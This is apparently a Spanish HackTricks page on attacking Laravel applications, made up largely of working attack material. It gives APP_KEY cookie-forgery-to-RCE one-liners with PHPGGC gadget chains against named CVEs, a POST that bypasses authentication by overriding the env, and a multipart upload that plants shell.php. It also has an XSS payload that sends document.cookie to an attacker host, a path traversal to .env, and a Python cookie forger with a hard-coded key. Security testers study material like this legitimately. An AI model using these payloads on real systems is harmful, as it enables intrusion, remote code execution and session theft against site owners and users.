Laravel

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Laravel SQLInjection

Lea información sobre esto aquí: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel >=5.6)

Laravel utiliza AES-256-CBC (o GCM) con integridad HMAC internamente (Illuminate\Encryption\Encrypter). El texto cifrado bruto que finalmente se envía al cliente es Base64 de un objeto JSON como:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) hará serialize() del texto plano por defecto, mientras que decrypt($payload, $unserialize=true) unserialize() automáticamente el valor descifrado. Por lo tanto, cualquier atacante que conozca la clave secreta de 32 bytes APP_KEY puede crear un objeto PHP serializado cifrado y obtener RCE vía métodos mágicos (__wakeup, __destruct, …).

Minimal PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Inyecta la cadena producida en cualquier sink vulnerable de decrypt() (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatiza todo el proceso y añade un modo bruteforce conveniente:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

El script soporta de forma transparente ambos payloads CBC y GCM y re-generates el campo HMAC/tag.


Patrones vulnerables en el mundo real

ProyectoPunto vulnerableCadena de gadgets
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie cuando Passport::withCookieSerialization() está habilitadoLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

El flujo de explotación es siempre:

  1. Obtener o brute-force la APP_KEY de 32 bytes.
  2. Build a gadget chain con PHPGGC (por ejemplo Laravel/RCE13, Laravel/RCE9 o Laravel/RCE15).
  3. Encrypt the serialized gadget con laravel_crypto_killer.py y la APP_KEY recuperada.
  4. Deliver the ciphertext al sink vulnerable decrypt() (parámetro de ruta, cookie, session …) para desencadenar RCE.

A continuación se muestran one-liners concisos que demuestran la ruta completa de ataque para cada CVE real mencionada anteriormente:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Porque cada respuesta nueva de Laravel establece al menos 1 cookie cifrada (XSRF-TOKEN y normalmente laravel_session), escáneres públicos de internet (Shodan, Censys, …) leak millones de textos cifrados que pueden ser atacados offline.

Principales hallazgos de la investigación publicada por Synacktiv (2024-2025):

  • Dataset July 2024 » 580 k tokens, 3.99 % keys crackeadas (≈23 k)
  • Dataset May 2025 » 625 k tokens, 3.56 % keys crackeadas
  • 1 000 servidores siguen vulnerables al legado CVE-2018-15133 porque los tokens contienen directamente datos serializados.

  • Gran reutilización de claves – las Top-10 APP_KEYs son valores por defecto hard-coded incluidos en plantillas comerciales de Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

La herramienta privada Go nounours empuja el throughput de bruteforce AES-CBC/GCM a ≈1.5 mil millones de intentos/s, reduciendo el cracking de todo el dataset a <2 minutos.

CVE-2024-52301 – override HTTP argv/env → bypass de autenticación

Cuando register_argc_argv=On de PHP (típico en muchas distros), PHP expone un array argv para peticiones HTTP derivado de la query string. Versiones recientes de Laravel parseaban estos args “CLI-like” y respetaban --env=<value> en tiempo de ejecución. Esto permite cambiar el environment del framework para la petición HTTP actual simplemente añadiéndolo a cualquier URL:

  • Comprobación rápida:

  • Visita https://target/?--env=local o cualquier cadena y busca cambios dependientes del environment (banners de debug, footers, errores verbose). Si la cadena se refleja, la anulación está funcionando.

  • Ejemplo de impacto (lógica de negocio que confía en un env especial):

  • Si la app contiene ramas como if (app()->environment('preprod')) { /* bypass auth */ }, puedes autenticarte sin credenciales válidas enviando el POST de login a:

  • POST /login?--env=preprod

  • Notas:

  • Funciona por petición, no hay persistencia.

  • Requiere register_argc_argv=On y una versión vulnerable de Laravel que lea argv para HTTP.

  • Primitiva útil para mostrar errores más verbosos en envs “debug” o para disparar rutas de código restringidas por environment.

  • Mitigaciones:

  • Deshabilitar register_argc_argv para PHP-FPM/Apache.

  • Actualizar Laravel para ignorar argv en peticiones HTTP y eliminar cualquier asunción de confianza ligada a app()->environment() en rutas de producción.

Flujo mínimo de explotación (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Evasión de validación de archivos con comodín (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 y 12.0.0–12.1.0 permiten que solicitudes multipart manipuladas omitan completamente cualquier regla adjunta a files.* / images.*. El parser que expande las claves con comodines puede confundirse con marcadores controlados por el atacante (por ejemplo, prellenando segmentos __asterisk__), por lo que el framework hidrataría objetos UploadedFile sin llegar a ejecutar image, mimes, dimensions, max, etc. Una vez que un blob malicioso acaba en Storage::putFile* puedes pivotar a cualquiera de las primitivas de subida de archivos ya listadas en HackTricks (web shells, log poisoning, signed job deserialization, …).

Búsqueda del patrón

  • Estático: rg -n "files\\.\*" -g"*.php" app/ o inspeccionar las clases FormRequest buscando rules() que devuelvan arrays que contengan files.*.
  • Dinámico: engancha Illuminate\Validation\Validator::validate() vía Xdebug o Laravel Telescope en pre-producción para registrar todas las peticiones que impacten la regla vulnerable.
  • Revisión de middleware/rutas: los endpoints que agrupan múltiples archivos (avatar importers, document portals, drag-n-drop components) tienden a confiar en files.*.

Flujo de explotación práctico

  1. Captura una subida legítima y reprodúcela en Burp Repeater.
  2. Duplica la misma parte pero altera el nombre del campo para que ya incluya tokens placeholder (p. ej., files[0][__asterisk__payload]) o anida otro array (files[0][alt][0]). En compilaciones vulnerables, esa segunda parte nunca se valida pero aun así se convierte en una entrada UploadedFile.
  3. Señala el archivo forjado a un payload PHP (shell.php, .phar, polyglot) y fuerza a la aplicación a almacenarlo en un disco accesible vía web (comúnmente public/ una vez que php artisan storage:link está habilitado).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Sigue fuzzing los nombres de clave (files.__dot__0, files[0][0], files[0][uuid] …) hasta encontrar uno que bypasses el validador pero que aún se escribe en disco; las versiones parchadas rechazan estos nombres de atributo manipulados inmediatamente.


Vulnerabilidades de paquetes del ecosistema que vale la pena encadenar (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

Si el proyecto usa inicio de sesión con Auth0 y el backend CookieStore por defecto y auth0/auth0-php < 8.14.0, el GCM tag de la cookie de sesión auth0 es lo suficientemente corto como para brute-forcearlo offline. Captura una cookie, modifica el payload JSON (p. ej., establece "sub":"auth0|admin" y app_metadata.roles), brute-forcea el tag y reimplántala para obtener una sesión válida del guard de Laravel. Comprobaciones rápidas: composer.lock muestra auth0/auth0-php <8.14.0 y .env tiene AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – lomkit/laravel-rest-api validation override

El paquete lomkit/laravel-rest-api en versiones anteriores a 2.13.0 fusiona las reglas por acción incorrectamente: las definiciones posteriores sobrescriben a las anteriores para el mismo atributo, permitiendo que campos manipulados eviten la validación (p. ej., sobrescribir las reglas de filter durante una acción update), lo que puede derivar en mass assignment o filtros tipo SQL sin validar. Comprobaciones prácticas:

  • composer.lock muestra lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== se acepta en lugar de rechazarse, indicando que se evadió la validación del filtro.

Trucos de Laravel

Modo de depuración

Si Laravel está en modo de depuración podrás acceder al código y a datos sensibles.
Por ejemplo http://127.0.0.1:8000/profiles:

Esto suele ser necesario para explotar otras CVE de RCE de Laravel.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

  • Affected: Laravel 11.9.0–11.35.1 con APP_DEBUG=true (ya sea globalmente o forzado vía overrides de env mal configurados como CVE-2024-52301).
  • Primitive: cada excepción no capturada renderizada por Whoops hace echo de partes de la request/route without HTML encoding, por lo que inyectar <img src> / <script> en una ruta o parámetro de request produce un XSS almacenado-en-respuesta antes de la autenticación.
  • Impact: robar XSRF-TOKEN, leak stack traces con secretos, abrir un pivot basado en navegador para golpear _ignition/execute-solution en sesiones de víctimas, o encadenarlo con dashboards sin contraseña que dependen de cookies.

Minimal PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Incluso si el modo debug suele estar desactivado, forzar un error mediante background jobs o queue workers y sondear el endpoint _ignition/health-check a menudo revela hosts de staging que todavía exponen esta cadena.

Fingerprinting & endpoints dev expuestos

Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production:

  • /_ignition/health-check → Ignition presente (herramienta debug usada por CVE-2021-3129). Si es accesible sin autenticación, la aplicación puede estar en debug o mal configurada.
  • /_debugbar → Laravel Debugbar assets; a menudo indica debug mode.
  • /telescope → Laravel Telescope (dev monitor). Si está público, espera exposición amplia de información y posibles acciones.
  • /horizon → Queue dashboard; divulgación de versión y a veces acciones protegidas por CSRF.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel guarda la APP que utiliza para encriptar las cookies y otras credenciales dentro de un archivo llamado .env que puede ser accedido mediante un path traversal en: /../.env

Laravel también mostrará esta información en la página de depuración (que aparece cuando Laravel encuentra un error y está activada).

Usando la APP_KEY secreta de Laravel puedes descifrar y re-encriptar cookies:

Decrypt/encrypt cookies helper (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Versiones vulnerables: 5.5.40 y 5.6.x hasta 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Aquí puede encontrar información sobre la deserialization vulnerability: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Puede probarlo y explotarlo usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
O también puede explotarlo con metasploit: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Otra deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## References
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>